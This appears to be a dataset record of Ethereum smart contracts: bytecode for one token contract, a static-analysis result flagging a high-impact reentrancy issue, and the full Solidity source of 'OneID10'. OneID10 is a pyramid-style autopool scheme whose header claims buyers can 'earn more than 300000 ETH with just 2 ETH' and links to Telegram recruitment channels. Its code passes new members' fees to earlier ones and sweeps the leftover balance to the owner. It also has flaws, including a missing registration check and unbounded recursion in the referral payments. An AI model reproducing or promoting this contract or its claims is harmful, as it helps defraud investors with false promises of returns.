0405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231b565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612011573d6000803e3d6000fd5b5050565b600060095482111561205c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120539061305f565b60405180910390fd5b600061206661237e565b905061207b8184611f5f90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120bb576120ba61356b565b5b6040519080825280602002602001820160405280156120e95781602001602082028036833780820191505090505b50905030816000815181106121015761210061353c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121a357600080fd5b505afa1580156121b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121db9190612a86565b816001815181106121ef576121ee61353c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061225630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461170f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122ba95949392919061319a565b600060405180830381600087803b1580156122d457600080fd5b505af11580156122e8573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123168383836123a9565b505050565b60008083118290612362576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612359919061303d565b60405180910390fd5b5060008385612371919061330b565b9050809150509392505050565b600080600061238b612574565b915091506123a28183611f5f90919063ffffffff16565b9250505090565b6000806000806000806123bb876125d3565b95509550955095509550955061241986600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ae85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124fa81612710565b61250484836127cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612561919061317f565b60405180910390a3505050505050505050565b600080600060095490506000670de0b6b3a764000090506125a8670de0b6b3a7640000600954611f5f90919063ffffffff16565b8210156125c657600954670de0b6b3a76400009350935050506125cf565b81819350935050505b9091565b60008060008060008060008060006125e9612807565b612607576126028a600b60020154600b6003015461281e565b61261d565b61261c8a600b60000154600b6001015461281e565b5b925092509250600061262d61237e565b905060008060006126408e8787876128b4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e80565b905092915050565b60008082846126c191906132b5565b905083811015612706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fd9061309f565b60405180910390fd5b8091505092915050565b600061271a61237e565b905060006127318284611ee490919063ffffffff16565b905061278581600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127e28260095461266890919063ffffffff16565b6009819055506127fd81600a546126b290919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b60008060008061284a606461283c888a611ee490919063ffffffff16565b611f5f90919063ffffffff16565b905060006128746064612866888b611ee490919063ffffffff16565b611f5f90919063ffffffff16565b9050600061289d8261288f858c61266890919063ffffffff16565b61266890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128cd8589611ee490919063ffffffff16565b905060006128e48689611ee490919063ffffffff16565b905060006128fb8789611ee490919063ffffffff16565b9050600061292482612916858761266890919063ffffffff16565b61266890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061295061294b84613234565b61320f565b905080838252602082019050828560208602820111156129735761297261359f565b5b60005b858110156129a3578161298988826129ad565b845260208401935060208301925050600181019050612976565b5050509392505050565b6000813590506129bc816137ee565b92915050565b6000815190506129d1816137ee565b92915050565b600082601f8301126129ec576129eb61359a565b5b81356129fc84826020860161293d565b91505092915050565b600081359050612a1481613805565b92915050565b600081519050612a2981613805565b92915050565b600081359050612a3e8161381c565b92915050565b600081519050612a538161381c565b92915050565b600060208284031215612a6f57612a6e6135a9565b5b6000612a7d848285016129ad565b91505092915050565b600060208284031215612a9c57612a9b6135a9565b5b6000612aaa848285016129c2565b91505092915050565b60008060408385031215612aca57612ac96135a9565b5b6000612ad8858286016129ad565b9250506020612ae9858286016129ad565b9150509250929050565b600080600060608486031215612b0c57612b0b6135a9565b5b6000612b1a868287016129ad565b9350506020612b2b868287016129ad565b9250506040612b3c86828701612a2f565b9150509250925092565b60008060408385031215612b5d57612b5c6135a9565b5b6000612b6b858286016129ad565b9250506020612b7c85828601612a2f565b9150509250929050565b600060208284031215612b9c57612b9b6135a9565b5b600082013567ffffffffffffffff811115612bba57612bb96135a4565b5b612bc6848285016129d7565b91505092915050565b600060208284031215612be557612be46135a9565b5b6000612bf384828501612a05565b91505092915050565b600060208284031215612c1257612c116135a9565b5b6000612c2084828501612a1a565b91505092915050565b600060208284031215612c3f57612c3e6135a9565b5b6000612c4d84828501612a2f565b91505092915050565b600080600060608486031215612c6f57612c6e6135a9565b5b6000612c7d86828701612a44565b9350506020612c8e86828701612a44565b9250506040612c9f86828701612a44565b9150509250925092565b60008060008060808587031215612cc357612cc26135a9565b5b6000612cd187828801612a2f565b9450506020612ce287828801612a2f565b9350506040612cf387828801612a2f565b9250506060612d0487828801612a2f565b91505092959194509250565b6000612d1c8383612d28565b60208301905092915050565b612d31816133ca565b82525050565b612d40816133ca565b82525050565b6000612d5182613270565b612d5b8185613293565b9350612d6683613260565b8060005b83811015612d97578151612d7e8882612d10565b9750612d8983613286565b925050600181019050612d6a565b5085935050505092915050565b612dad816133dc565b82525050565b612dbc8161341f565b82525050565b6000612dcd8261327b565b612dd781856132a4565b9350612de7818560208601613431565b612df0816135ae565b840191505092915050565b6000612e08602a836132a4565b9150612e13826135bf565b604082019050919050565b6000612e2b6022836132a4565b9150612e368261360e565b604082019050919050565b6000612e4e601b836132a4565b9150612e598261365d565b602082019050919050565b6000612e716021836132a4565b9150612e7c82613686565b604082019050919050565b6000612e946020836132a4565b9150612e9f826136d5565b602082019050919050565b6000612eb76029836132a4565b9150612ec2826136fe565b604082019050919050565b6000612eda601a836132a4565b9150612ee58261374d565b602082019050919050565b6000612efd6024836132a4565b9150612f0882613776565b604082019050919050565b6000612f206017836132a4565b9150612f2b826137c5565b602082019050919050565b612f3f81613408565b82525050565b612f4e81613412565b82525050565b6000602082019050612f696000830184612d37565b92915050565b6000604082019050612f846000830185612d37565b612f916020830184612d37565b9392505050565b6000604082019050612fad6000830185612d37565b612fba6020830184612f36565b9392505050565b600060c082019050612fd66000830189612d37565b612fe36020830188612f36565b612ff06040830187612db3565b612ffd6060830186612db3565b61300a6080830185612d37565b61301760a0830184612f36565b979650505050505050565b60006020820190506130376000830184612da4565b92915050565b600060208201905081810360008301526130578184612dc2565b905092915050565b6000602082019050818103600083015261307881612dfb565b9050919050565b6000602082019050818103600083015261309881612e1e565b9050919050565b600060208201905081810360008301526130b881612e41565b9050919050565b600060208201905081810360008301526130d881612e64565b9050919050565b600060208201905081810360008301526130f881612e87565b9050919050565b6000602082019050818103600083015261311881612eaa565b9050919050565b6000602082019050818103600083015261313881612ecd565b9050919050565b6000602082019050818103600083015261315881612ef0565b9050919050565b6000602082019050818103600083015261317881612f13565b9050919050565b60006020820190506131946000830184612f36565b92915050565b600060a0820190506131af6000830188612f36565b6131bc6020830187612db3565b81810360408301526131ce8186612d46565b90506131dd6060830185612d37565b6131ea6080830184612f36565b9695505050505050565b60006020820190506132096000830184612f45565b92915050565b600061321961322a565b90506132258282613464565b919050565b6000604051905090565b600067ffffffffffffffff82111561324f5761324e61356b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132c082613408565b91506132cb83613408565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613300576132ff6134de565b5b828201905092915050565b600061331682613408565b915061332183613408565b9250826133315761333061350d565b5b828204905092915050565b600061334782613408565b915061335283613408565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561338b5761338a6134de565b5b828202905092915050565b60006133a182613408565b91506133ac83613408565b9250828210156133bf576133be6134de565b5b828203905092915050565b60006133d5826133e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061342a82613408565b9050919050565b60005b8381101561344f578082015181840152602081019050613434565b8381111561345e576000848401525b50505050565b61346d826135ae565b810181811067ffffffffffffffff8211171561348c5761348b61356b565b5b80604052505050565b60006134a082613408565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134d3576134d26134de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6137f7816133ca565b811461380257600080fd5b50565b61380e816133dc565b811461381957600080fd5b50565b61382581613408565b811461383057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a90b4f44aa6d28ce7ba36bdcc2bf1280739d82cb7795b289d36ae242b37a2de664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,278 |
0x97438b2a8D5cea628B8F616CA2E4E895defAcF32
|
/*
// ONE ID 10
// Hello
// I am Onene One IDID 10,
// Global One ID AutoPool Smart contract.
// Earn more than 300000 ETH with just 2 ETH.
// This is a tool to generate passive income.
// ADVANTAGES OF THIS SMART CONTRACT
// Only allow registration if 1 Referral ID is 1.
// Can not stop, exist forever.
// Simple registration and upgrade. No login or password required.
// Auto-overflow.
// Repeat high income to level 10.
// Every member is happy.
// Simple and manipulative interface on Etherscan.
// Open source, authenticated on Etherscan.
// High income. invite people online & offline.
// Market development by international leaders.
// And more, ...
// My URL : https://Oneid10github.io
// Telegram Channel: https://t.me/ONE_ID_10
// Private Telegram Group: https://t.me/joinchat/DQWsThP_PYUT9rL4HywAhg
// Hashtag: #Oneid10
*/
pragma solidity 0.5.11 - 0.6.4;
contract OneID10 {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.5 ether;
uint pool1_price=1 ether;
uint pool2_price=2 ether ;
uint pool3_price=5 ether;
uint pool4_price=10 ether;
uint pool5_price=20 ether;
uint pool6_price=50 ether;
uint pool7_price=100 ether ;
uint pool8_price=200 ether;
uint pool9_price=500 ether;
uint pool10_price=1000 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 0.1 ether;
LEVEL_PRICE[2] = 0.05 ether;
LEVEL_PRICE[3] = 0.025 ether;
LEVEL_PRICE[4] = 0.0025 ether;
unlimited_level_price=0.0025 ether;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID < 2 , 'Use Only ID 1 As a General Referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 50 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=4)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=5)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=6)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=7)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=8)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=9)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=10)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=300)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getEthBalance()))
{
}
}
}
|
0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac56146112a4578063e687ecac146112cf578063ed3bb9fa14611346578063eecbdd94146113505761038c565b8063db7242bd14611179578063dd5d3e30146111f4578063dea9095a1461126f578063e35fc7e21461129a5761038c565b8063bdbefbf6116100dc578063bdbefbf61461109e578063c3285de6146110c9578063c5d8444d146110d3578063c6d79e9d146110fe5761038c565b8063a565a5b61461100c578063a87430ba14611016578063ae01d264146110945761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c01614610ec45780639f4216e814610eef5780639f9a2b0e14610f6a578063a4bb170d14610fe15761038c565b80638853b53e14610de95780639335dcb714610e175780639561302a14610e6e578063956c9ebf14610e995761038c565b806384abfa37116101b657806384abfa3714610ca557806384d82db814610d1c578063851f31c614610d47578063878b255d14610dbe5761038c565b806380085ec414610b4b578063805b495414610bc257806381d12c5814610c3d5761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e3014610a2b5780637aa6e6dc14610a7a5780637ff135cd14610aa55780637ff5c45014610b205761038c565b80636e2fb91d1461090857806370047eeb1461097f57806370ed0ada1461098957806378dffea7146109b45761038c565b806360fbf1221161029b57806360fbf122146108315780636254a0ef146108a8578063673f554b146108b2578063699ad07e146108dd5761038c565b806350264b55146107605780635761a7ae146107db5780635a1cb2cd146108065761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610685578063435ea130146106b0578063460c3c071461072b578063461aa478146107565761038c565b806338f2f446146105d957806338fc99bd146106505780633bddc9511461065a5761038c565b806309fd01ba1161036a57806309fd01ba1461043d5780630c851e3c146104b8578063282e06761461053357806336509f77146105ae5761038c565b806301073bf514610391578063080f775f1461039b57806309ea330a146103c6575b600080fd5b61039961137b565b005b3480156103a757600080fd5b506103b0611875565b6040518082815260200191505060405180910390f35b3480156103d257600080fd5b50610415600480360360208110156103e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187b565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b34801561044957600080fd5b506104766004803603602081101561046057600080fd5b81019080803590602001909291905050506118b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c457600080fd5b506104f1600480360360208110156104db57600080fd5b81019080803590602001909291905050506118e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053f57600080fd5b5061056c6004803603602081101561055657600080fd5b8101908080359060200190929190505050611918565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ba57600080fd5b506105c361194b565b60405180828152602001915050